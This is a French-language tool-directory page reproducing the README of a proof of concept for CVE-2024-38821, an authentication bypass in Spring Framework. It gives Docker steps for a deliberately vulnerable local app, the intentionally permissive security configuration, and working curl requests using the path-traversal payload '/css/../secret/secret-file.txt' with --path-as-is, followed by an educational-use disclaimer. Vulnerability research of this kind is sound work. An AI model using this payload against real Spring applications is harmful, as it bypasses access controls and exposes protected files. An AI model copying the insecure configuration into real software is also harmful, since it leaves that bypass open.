Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-38821-POC — Preuve de concept d'exploitation pour CVE-2024-38821, démontrant un contournement d'authentification dans Spring Framework via un parcours de chemin pour accéder à des ressources restreintes. | Kitploit
Outils/GitHubGitHub/masa42/cve-2024-38821-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

Preuve de concept d'exploitation pour CVE-2024-38821, démontrant un contournement d'authentification dans Spring Framework via un parcours de chemin pour accéder à des ressources restreintes.

Voir le dépôt
124il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-38821 : Preuve de concept (PoC) : Contournement d'authentification dans Spring Framework

Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38821

Étapes d'exécution

  1. Construire l'image Docker (Spring Boot 3.3.4, basé sur Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. Lancer le conteneur et exposer le port 8080 vers la machine hôte

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Attendu : réponse 302 (connexion requise)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Attendu : réponse 200 (authentification contournée)
    

    Si l'attaque réussit, la réponse affichera : This is a secret file.

Explication

  1. Créer SecurityConfig.java pour configurer les permissions d'accès :

    • Autoriser l'accès non authentifié aux chemins sous /css/.
    • Exiger l'authentification pour les chemins sous /secret/.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
                .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
                .anyExchange().authenticated() // Authentication is required for all other paths
            )
            .formLogin().and() // Enable form-based authentication
            .build();
    }
    
  2. Créer la charge utile suivante. Comme la charge utile commence par /css/, elle correspond au modèle de chemin autorisé. Elle ne commence pas par /secret/, donc elle ne correspond pas au modèle de chemin nécessitant une authentification :

    • Chemin : /css/../secret/secret-file.txt
  3. Utiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :

    root@kitploit:~
    # Remarque : l'option --path-as-is est requise pour envoyer la requête sans normalisation d'URL.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

Avertissement

Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser sur un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez de l'autorisation appropriée. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.

Télécharger l’outil

Si l'attaque réussit, la réponse affichera : This is a secret file.